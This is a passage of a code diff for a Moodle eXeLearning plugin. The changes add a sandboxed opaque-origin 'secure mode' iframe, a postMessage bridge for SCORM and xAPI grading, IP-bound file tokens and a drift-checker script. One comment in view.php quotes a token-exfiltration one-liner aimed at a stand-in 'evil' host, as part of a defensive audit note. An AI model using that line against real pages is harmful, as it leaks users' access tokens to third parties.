+    shim: { mod: 'js/exe_embed_shim.js', wp: 'assets/js/exe-embed-shim.js', omeka: 'asset/js/exe-embed-shim.js', procomun: 'apps/api/static/elpx/embed-shim.js', invariants: SHIM_INVARIANTS },
+    php: { mod: 'classes/local/ui/player_iframe.php', wp: 'includes/class-iframe-sandbox.php', omeka: 'src/Service/IframeSandbox.php', invariants: PHP_INVARIANTS },
+    mediapolicy: { core: 'public/app/common/exe_media_bridge/exe_media_policy.js', mod: 'js/exe_media_policy.js', wp: 'assets/js/exe-media-policy.js', omeka: 'asset/js/exe-media-policy.js', procomun: 'apps/frontend/public/elpx/exe_media_policy.js', invariants: MEDIA_POLICY_INVARIANTS },
+    mediahost: { mod: 'js/exe_media_host.js', wp: 'assets/js/exe-media-host.js', omeka: 'asset/js/exe-media-host.js', procomun: 'apps/frontend/public/elpx/exe_media_host.js', invariants: MEDIA_HOST_INVARIANTS },
+};
+
+const norm = (s) => s.replace(/\s+/g, '').replace(/'/g, '"');
+
+function check(label, absPath, invariants) {
+    if (!fs.existsSync(absPath)) {
+        return { label, path: absPath, missing: ['<file not found>'] };
+    }
+    const body = norm(fs.readFileSync(absPath, 'utf8'));
+    const missing = invariants.filter((inv) => body.indexOf(norm(inv)) === -1);
+    return { label, path: absPath, missing };
+}
+
+function main() {
+    const mirrors = resolveMirrors();
+    const roots = { core: mirrors.core, mod: MOD_ROOT, wp: mirrors.wp, omeka: mirrors.omeka, procomun: mirrors.procomun };
+    const results = [];
+
+    for (const [kind, spec] of Object.entries(FILES)) {
+        for (const repo of ['core', 'mod', 'wp', 'omeka', 'procomun']) {
+            if (!roots[repo] || !spec[repo]) { continue; }
+            results.push(check(`${repo}:${kind}`, path.join(roots[repo], spec[repo]), spec.invariants));
+        }
+    }
+
+    let drift = 0;
+    for (const r of results) {
+        if (r.missing.length) {
+            drift++;
+            console.error(`DRIFT  ${r.label}  (${r.path})`);
+            r.missing.forEach((m) => console.error(`         missing: ${m}`));
+        } else {
+            console.log(`ok     ${r.label}`);
+        }
+    }
+
+    if (!mirrors.wp || !mirrors.omeka || !mirrors.procomun || !mirrors.core) {
+        console.log('\nNote: pass --core <dir> --wp <dir> --omeka <dir> --procomun <dir> (or set');
+        console.log('CORE_EXE_DIR / WP_EXE_DIR / OMEKA_EXE_DIR / PROCOMUN_EXE_DIR) to check all mirrors.');
+    }
+    if (drift) {
+        console.error(`\n${drift} file(s) drifted from the canonical embedder logic.`);
+        process.exit(1);
+    }
+    console.log('\nNo drift detected.');
+}
+
+main();
diff --git a/view.php b/view.php
index e76f3df..c915034 100644
--- a/view.php
+++ b/view.php
@@ -103,6 +103,23 @@
             'index.html'
         );
     }
+    // Self-heal the secure-mode bridge client (DEC-0060) into packages extracted
+    // before it existed: if index.html is present but libs/exe_scorm_bridge.js is not,
+    // re-extract once so the bridge scripts are copied and injected. Idempotent and
+    // bounded (only fires until the file exists).
+    if ($mainfile) {
+        $hasbridge = $fs->get_file(
+            $context->id,
+            'mod_exelearning',
+            'content',
+            (int) $exelearning->revision,
+            '/libs/',
+            'exe_scorm_bridge.js'
+        );
+        if (!$hasbridge) {
+            exelearning_extract_stored_package($context->id, (int) $exelearning->revision);
+        }
+    }
     // Self-heal grade-item detection, but only when this package revision has
     // not been scanned yet (gradesyncrev marker). This used to fire whenever the
     // activity had no gradable grade item, which for a content-only package
@@ -217,20 +234,59 @@
         );
     }
 } else {
-    $iframeurl = moodle_url::make_pluginfile_url(
-        $context->id,
-        'mod_exelearning',
-        'content',
-        (int) $exelearning->revision,
-        '/',
-        'index.html'
-    );
+    // Resolve the iframe security mode once (DEC-0060, corrects DEC-0059's Route A).
+    // Secure mode serves the package through tokenpluginfile.php so the opaque-origin
+    // iframe's subresources (CSS/JS/images) carry a per-user file token in the URL and
+    // load WITHOUT the SameSite session cookie (an opaque document never sends it).
+    // Secure mode is NOT silently downgraded to legacy: if it cannot render (e.g.
+    // slasharguments off, or a service-worker host that cannot serve an opaque iframe)
+    // the in-iframe shim never signals ready and the parent relay shows a
+    // "blocked by security configuration" notice (client-side watchdog), so an admin
+    // fixes it rather than the activity quietly running in the weaker same-origin mode.
+    $iframemode = \mod_exelearning\local\ui\player_iframe::resolve_mode();
+    $securemode = ($iframemode === \mod_exelearning\local\ui\player_iframe::MODE_SECURE);
+    if ($securemode) {
+        // Short-lived core_files key, rounded to the hour so it is reused (not
+        // regenerated per request). It only authorises file reads and
+        // exelearning_pluginfile() still enforces mod/exelearning:view, so the token
+        // grants strictly less than the same-origin sesskey it replaces.
+        //
+        // The token rides in the URL path, so untrusted author JS in the opaque iframe can
+        // read it (a document can always read its own location) and the document CSP allows
+        // img/media/frame over https:, i.e. it CAN be exfiltrated to a third-party host (e.g.
+        // new Image().src='https://evil/?'+location.pathname). Bind the key to the viewer's IP
+        // so an exfiltrated token is useless when replayed from the attacker's server (the
+        // legitimate file fetches come from the same browser, hence the same IP). Audit M-2.
+        $filetoken = get_user_key(
+            'core_files',
+            $USER->id,
+            null,
+            getremoteaddr(),
+            (intdiv(time(), HOURSECS) + 2) * HOURSECS
+        );
+        $iframeurl = new moodle_url(
+            '/tokenpluginfile.php/' . $filetoken . '/' . $context->id .
+            '/mod_exelearning/content/' . (int) $exelearning->revision . '/index.html'
+        );
+    } else {
+        $iframeurl = moodle_url::make_pluginfile_url(
+            $context->id,
+            'mod_exelearning',
+            'content',
+            (int) $exelearning->revision,
+            '/',
+            'index.html'
+        );
+    }
     // Make the in-package teacher-layer selector available via the package's own URL
     // parameter (eXeLearning core hides teacher content by default and exposes a
-    // selector to show it with ?exe-teacher=1; see upstream exelearning#1772). This
-    // replaces the former CSS injection that hid the selector (mod_exeweb parity): the
-    // plugin no longer mutates the package. The per-activity teachermodevisible setting
-    // alone controls it — when on, the selector is offered to every viewer; no role gate.
+    // selector to show it with ?exe-teacher=1; see upstream exelearning#1772). It works
+    // in secure mode too: the parameter rides in the iframe src and the package reads
+    // its own location.search even under the opaque origin, so no host CSS injection is
+    // needed. This replaces the former CSS injection that hid the selector (mod_exeweb
+    // parity): the plugin no longer mutates the package. The per-activity
+    // teachermodevisible setting alone controls it — when on, the selector is offered to
+    // every viewer; no role gate.
     if (!empty($exelearning->teachermodevisible)) {
         $iframeurl->param('exe-teacher', '1');
     }
@@ -387,72 +443,159 @@
             );
         }
     }
-    // SCORM 1.2 shim: injects window.API into the parent window of the iframe.
-    // pipwerks SCORM (used by eXeLearning v4 iDevices) calls `findAPI()`,
-    // walking `window.parent` looking for an `API` object with `LMSInitialize`.
-    // If not found, the iDevice shows "This page is not part of a SCORM package".
-    // Minimal viable implementation: buffers CMI pairs and sends them to
-    // track.php on LMSCommit/LMSFinish.
+    // SCORM 1.2 client. eXeLearning v4 iDevices use pipwerks SCORM, which calls
+    // findAPI() looking for an `API` object with LMSInitialize. How that API is
+    // provided depends on the configured iframe security mode (DEC-0059). In secure
+    // mode (the default) the package runs in an opaque-origin sandboxed iframe and
+    // CANNOT reach this page: window.API lives INSIDE the iframe (baked bridge shim,
+    // libs/exe_scorm_bridge.js) and scoring is relayed here over a validated postMessage
+    // channel, with this parent only forwarding it to track.php so the sesskey stays on
+    // the trusted side. In legacy mode the package is same-origin, window.API is injected
+    // here in the parent, and the iframe's pipwerks walks window.parent to find it.
     // One page-load token groups all of this view's commits into a single attempt,
     // shared by whichever channel grades (DEC-0007).
     $sessiontoken = random_string(20);
-    // Channel choice (DEC-0064): a package that bundles the upstream xAPI emitter grades
-    // via xAPI; the SCORM shim stays alive (so pipwerks finds window.API and the iDevices
-    // still run and emit their statements) but inert (it never POSTs to track.php). A
-    // legacy package without the emitter keeps SCORM grading exactly as before. The
-    // site-wide master switch (exelearning_xapi_primary_enabled) can force every package
-    // back onto SCORM without a code change.
+    // Channel choice (DEC-0064, extended to secure mode by DEC-0065): a package that
+    // bundles the upstream xAPI emitter is graded via xAPI in BOTH iframe modes; the SCORM
+    // shim stays alive (so pipwerks finds window.API and the iDevices run and emit their
+    // statements) but inert, so the two channels never double-count. In legacy mode the
+    // SCORM tracker runs in this parent with disableTracking and the xAPI listener trusts a
+    // statement by event.origin === host origin (same-origin). In secure mode the package
+    // is opaque (event.origin is "null"), so the bridge relay drops the SCORM POST and the
+    // xAPI listener trusts a statement by window identity (event.source === the iframe),
+    // mirroring the SCORM bridge relay.
+    // A legacy package without the emitter keeps SCORM grading exactly as before. The
+    // site-wide master switch (exelearning_xapi_primary_enabled) forces every package back
+    // onto SCORM without a code change.
     $emitsxapi = exelearning_xapi_primary_enabled()
             && exelearning_package_emits_xapi($context->id, (int) $exelearning->revision);
-
     $trackurl = (new moodle_url(
         '/mod/exelearning/track.php',
         ['id' => $cm->id, 'sesskey' => sesskey(), 'mode' => $mode]
     ))->out(false);
-    // The tracker logic is a single source of truth in js/scorm_tracker.js, also
-    // unit-tested with Vitest (tests/js/scorm_tracker.test.js). It is injected inline
-    // (not as an AMD module) so window.API is defined synchronously before the package
-    // iframe's pipwerks findAPI() runs — an async AMD load would race the SCO and break
-    // grading. Config (cmid, track URL, per-page attempt token) is passed as JSON to the
-    // createScormApi() factory instead of string-substituted placeholders.
-    $scormcfg = json_encode(
-        [
+
+    // Emit an inline <script> that loads a bundled js/ module and boots it. Centralises
+    // the HTML-hardening JSON flags, the js/ path and the "\n(function () { ... })();"
+    // boot wrapper shared by the SCORM and embed clients below (so a fourth client, or a
+    // change to the hardening flags, has a single home). %s in $boot is replaced by the
+    // encoded config. Injected inline so each listener is installed before the iframe
+    // loads — an async AMD load would race the SCO/embeds.
+    $emitinlinemodule = function (string $jsfile, array $cfg, string $boot): void {
+        $json = json_encode($cfg, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
+        $js = file_get_contents(__DIR__ . '/js/' . $jsfile);
+        echo html_writer::tag('script', $js . "\n(function () { " . sprintf($boot, $json) . " })();");
+    };
+
+    // Both $iframemode and $securemode were resolved above so the SCORM client, the
+    // sandbox tokens and the content URL all agree.
+    if ($securemode) {
+        // Parent-side bridge relay (js/scorm_bridge_relay.js, also unit-tested with
+        // Vitest). Injected inline so its message listener is installed before the
+        // iframe loads and emits its first message. It validates each message by
+        // window identity (event.source === iframe.contentWindow), a closed action
+        // list and a per-view nonce, then performs the authenticated track.php POST
+        // (and a sendBeacon flush on pagehide). The nonce and the per-page attempt token
+        // are handed to the in-iframe shim during the handshake; the sesskey is NEVER
+        // sent across the bridge. blockedid points at
+        // the hidden notice the relay reveals (watchdog) if the iframe never signals
+        // ready, i.e. the secure mode could not render here.
+        $emitinlinemodule('scorm_bridge_relay.js', [
+            'iframeid' => 'exelearningobject',
             'cmid' => (int) $cm->id,
             'trackurl' => $trackurl,
             'session' => $sessiontoken,
-            // Inert SCORM shim for xAPI-primary packages (DEC-0064).
+            'nonce' => random_string(32),
+            'blockedid' => 'exelearning-secure-blocked',
+            // Inert under xAPI-primary (DEC-0065): keep the bridge live (window.API,
+            // handshake, watchdog) but forward no SCORM score; the package is graded via
+            // the xAPI listener below.
             'disableTracking' => $emitsxapi,
-        ],
-        JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
-    );
-    $trackerjs = file_get_contents(__DIR__ . '/js/scorm_tracker.js');
-    $bootjs = "\n(function () { window.API = window.exeScormTracker.createScormApi($scormcfg).api; })();";
-    echo html_writer::tag('script', $trackerjs . $bootjs);
+        ], 'window.exeScormBridge.init(%s);');
+    } else {
+        // Legacy same-origin: host window.API in this parent window. The tracker logic
+        // is the single source of truth in js/scorm_tracker.js, also unit-tested with
+        // Vitest (tests/js/scorm_tracker.test.js). It is injected inline (not as an AMD
+        // module) so window.API is defined synchronously before the package iframe's
+        // pipwerks findAPI() runs — an async AMD load would race the SCO and break
+        // grading. Config (cmid, track URL, per-page attempt token) is passed as JSON
+        // to the createScormApi() factory instead of string-substituted placeholders.
+        // disableTracking makes the shim inert for an xAPI-primary package (DEC-0064):
+        // window.API still answers pipwerks so the iDevices run and emit statements, but
+        // it never POSTs to track.php, leaving xAPI as the sole grade channel. The secure
+        // bridge relay above is made inert the same way (DEC-0065); see $emitsxapi.
+        $emitinlinemodule('scorm_tracker.js', [
+            'cmid' => (int) $cm->id,
+            'trackurl' => $trackurl,
+            'session' => $sessiontoken,
+            'disableTracking' => $emitsxapi,
+        ], 'window.API = window.exeScormTracker.createScormApi(%s).api;');
+    }
+
+    // Parent-side external-embed relay (js/exe_embed_relay.js). Independent of SCORM:
+    // in secure mode every package is opaque, so whitelisted video iframes and PDFs are
+    // promoted to this page and overlaid inline as real players (the baked shim reports
+    // their geometry). Inlined like the SCORM relay so its listener is installed before
+    // the iframe loads. No-op in legacy mode (same-origin: external players already work
+    // inline and the in-iframe shim stays dormant).
+    if ($securemode) {
+        // The relay only consults the host whitelist in 'strict' mode; in the default
+        // 'open' mode any cross-origin https iframe is promoted, so don't build/ship it.
+        $embedmode = \mod_exelearning\local\ui\player_iframe::embed_mode();
+        $embedstrict = ($embedmode === \mod_exelearning\local\ui\player_iframe::EMBED_STRICT);
+        $emitinlinemodule('exe_embed_relay.js', [
+            'mode' => $embedmode,
+            'whitelist' => $embedstrict ? \mod_exelearning\local\ui\player_iframe::embed_whitelist() : [],
+        ], 'window.exeEmbedRelay.init(%s);');
 
-    // The xAPI listener (DEC-0064): for an xAPI-capable package, receive the emitter's
-    // exe-xapi-statement postMessages in this parent page, validate the origin and
-    // forward each to xapi_track.php. Same inline single-source-of-truth pattern as the
-    // SCORM tracker (js/xapi_listener.js, Vitest-tested). It shares $sessiontoken as the
-    // xAPI registration so every statement of this view maps to the same attempt.
+        // Parent-side media host for the interactive-video iDevice (DEC-0067). When the
+        // package is opaque, eXeLearning's interactive-video iDevice cannot run a nested
+        // YouTube/Vimeo player, so it drives playback through window.exeMediaBridge (the
+        // child runtime baked into the package by eXeLearning). This host completes that
+        // capability handshake (window identity + per-view nonce + a transferred
+        // MessageChannel port) and plays the real provider video in an accessible modal,
+        // controlling it by RAW postMessage (enablejsapi=1 / api=1) so this trusted page
+        // never loads the YouTube IFrame API or the Vimeo SDK. Separate message namespace
+        // (type:'exe-media') from the SCORM bridge ('scorm') and the embed relay
+        // ('exe-embed'), so the three coexist. Policy must load before the host (the host
+        // reads window.exeMediaPolicy at evaluation). No-op for packages exported without
+        // the child runtime (no hello is ever sent) and in legacy mode (same-origin).
+        $mediapolicy = file_get_contents(__DIR__ . '/js/exe_media_policy.js');
+        $mediahost = file_get_contents(__DIR__ . '/js/exe_media_host.js');
+        echo html_writer::tag(
+            'script',
+            $mediapolicy . "\n" . $mediahost . "\n(function () {\n" .
+            "    var f = document.getElementById('exelearningobject');\n" .
+            "    if (f && window.exeMediaHost) { window.exeMediaHost.attach(f, {}); }\n" .
+            "})();"
+        );
+    }
+
+    // The xAPI listener (DEC-0064; secure mode added by DEC-0065): for an xAPI-capable
+    // package, receive the emitter's exe-xapi-statement postMessages in this parent page
+    // and forward each to xapi_track.php (the sesskey stays on this trusted side). Same
+    // inline single-source-of-truth pattern as the SCORM tracker (js/xapi_listener.js,
+    // Vitest-tested). It shares $sessiontoken as the xAPI registration so every statement
+    // of this view maps to the same attempt. The trust gate depends on the iframe mode:
+    // legacy is same-origin so a statement is trusted by event.origin === host origin;
+    // secure is opaque (event.origin is "null"), so it is trusted by window identity
+    // (event.source === the iframe), exactly like the SCORM bridge relay above.
     if ($emitsxapi) {
         $xapitrackurl = (new moodle_url(
             '/mod/exelearning/xapi_track.php',
             ['id' => $cm->id, 'sesskey' => sesskey(), 'mode' => $mode]
         ))->out(false);
-        $hostorigin = preg_replace('~^(https?://[^/]+).*~', '$1', $CFG->wwwroot);
-        $xapicfg = json_encode(
-            [
-                'cmid' => (int) $cm->id,
-                'trackurl' => $xapitrackurl,
-                'registration' => $sessiontoken,
-                'mode' => $mode,
-                'allowedOrigin' => $hostorigin,
-            ],
-            JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
-        );
-        $listenerjs = file_get_contents(__DIR__ . '/js/xapi_listener.js');
-        $listenerboot = "\n(function () { window.exeXapiListener.createListener($xapicfg).start(); })();";
-        echo html_writer::tag('script', $listenerjs . $listenerboot);
+        $xapicfg = [
+            'cmid' => (int) $cm->id,
+            'trackurl' => $xapitrackurl,
+            'registration' => $sessiontoken,
+            'mode' => $mode,
+        ];
+        if ($securemode) {
+            $xapicfg['iframeid'] = 'exelearningobject';
+        } else {
+            $xapicfg['allowedOrigin'] = preg_replace('~^(https?://[^/]+).*~', '$1', $CFG->wwwroot);
+        }
+        $emitinlinemodule('xapi_listener.js', $xapicfg, 'window.exeXapiListener.createListener(%s).start();');
     }
 
     // Fullscreen control (issue #13 #6, DEC-0024): a right-aligned button above the
@@ -475,16 +618,23 @@
     );
     $PAGE->requires->js_call_amd('mod_exelearning/fullscreen', 'init', ['exelearningobject']);
 
-    // Package iframe. Sandbox policy documented in AN-008:
-    // allow-scripts: eXeLearning v4 uses jQuery + iDevice JS.
-    // allow-same-origin: relative paths to pluginfile.php/.../content/<rev>/
-    // and future postMessage to the xAPI endpoint.
-    // allow-popups: interactive-video, hidden-image, etc.
-    // allow-forms: quick-questions, form, scrambled-list, etc.
-    // allow-popups-to-escape-sandbox: popups load without restrictions.
-    // Explicitly BLOCKED (not included):
-    // allow-top-navigation: a malicious package must not change the parent URL.
-    // allow-modals: no alert/confirm/prompt, they are UX interruptions.
+    // Hidden notice the relay's watchdog reveals if the secure-mode iframe never
+    // signals ready (e.g. an environment that cannot serve an opaque-origin iframe,
+    // such as a PHP-WASM service-worker host). Secure mode is never silently
+    // downgraded to the weaker same-origin mode (DEC-0060).
+    if ($securemode) {
+        echo html_writer::div(
+            get_string('securemodeblocked', 'mod_exelearning'),
+            'alert alert-warning',
+            ['id' => 'exelearning-secure-blocked', 'role' => 'alert', 'style' => 'display:none;']
+        );
+    }
+
+    // Package iframe. The sandbox token list depends on the configured iframe
+    // security mode (\mod_exelearning\local\ui\player_iframe, DEC-0059). Both modes
+    // omit allow-top-navigation (a package must not change the parent URL) and
+    // allow-modals; secure mode also omits allow-same-origin (opaque origin, so the
+    // package cannot reach this page) and allow-popups-to-escape-sandbox.
     echo html_writer::tag('iframe', '', [
         'src'    => $iframeurl->out(false),
         'name'   => 'exelearningobject',
@@ -493,14 +643,15 @@
         'width'  => '100%',
         'height' => '650',
         'allow'  => 'fullscreen',
-        'sandbox' => 'allow-scripts allow-same-origin allow-popups allow-forms allow-popups-to-escape-sandbox',
+        'sandbox' => \mod_exelearning\local\ui\player_iframe::sandbox_tokens(),
         'style'  => 'border: 1px solid var(--bs-border-color, #dee2e6); border-radius: .5rem;',
     ]);
 
     // Teacher-only content is hidden by default inside the eXeLearning package and
     // revealed via the ?exe-teacher=1 URL parameter appended to the iframe src above
-    // when the teachermodevisible setting is on. The plugin no longer injects CSS into
-    // the package to hide the teacher-layer selector (mod_exeweb parity retired).
+    // when the teachermodevisible setting is on (legacy and secure mode alike). The
+    // plugin no longer injects CSS into the package to hide the teacher-layer selector
+    // (mod_exeweb parity retired), and the SCORM bridge no longer carries the flag.
 }
 
 echo $OUTPUT->footer();
diff --git a/vitest.config.mjs b/vitest.config.mjs
index f160928..4fc803f 100644
--- a/vitest.config.mjs
+++ b/vitest.config.mjs
@@ -1,10 +1,10 @@
 import { defineConfig } from 'vitest/config';
 
-// Vitest config for the plugin's own JavaScript unit tests. Scope is deliberately
-// narrow: only the grade-critical SCORM tracker (js/scorm_tracker.js). UI glue
-// (amd/src/fullscreen.js, resize.js, editor_modal.js, ...) and the vendored pipwerks
-// wrappers (assets/scorm/*) are out of scope. The embedded editor (exelearning/) ships
-// its own Vitest suite and is not retested here.
+// Vitest config for the plugin's own JavaScript unit tests. Scope: the grade-critical
+// SCORM tracker (js/scorm_tracker.js), the secure-mode SCORM bridge (js/scorm_bridge_*)
+// and the external-embed shim/relay (js/exe_embed_*). UI glue (amd/src/*) and the
+// vendored pipwerks wrappers (assets/scorm/*) are out of scope. The embedded editor
+// (exelearning/) ships its own Vitest suite and is not retested here.
 export default defineConfig({
     test: {
         globals: true,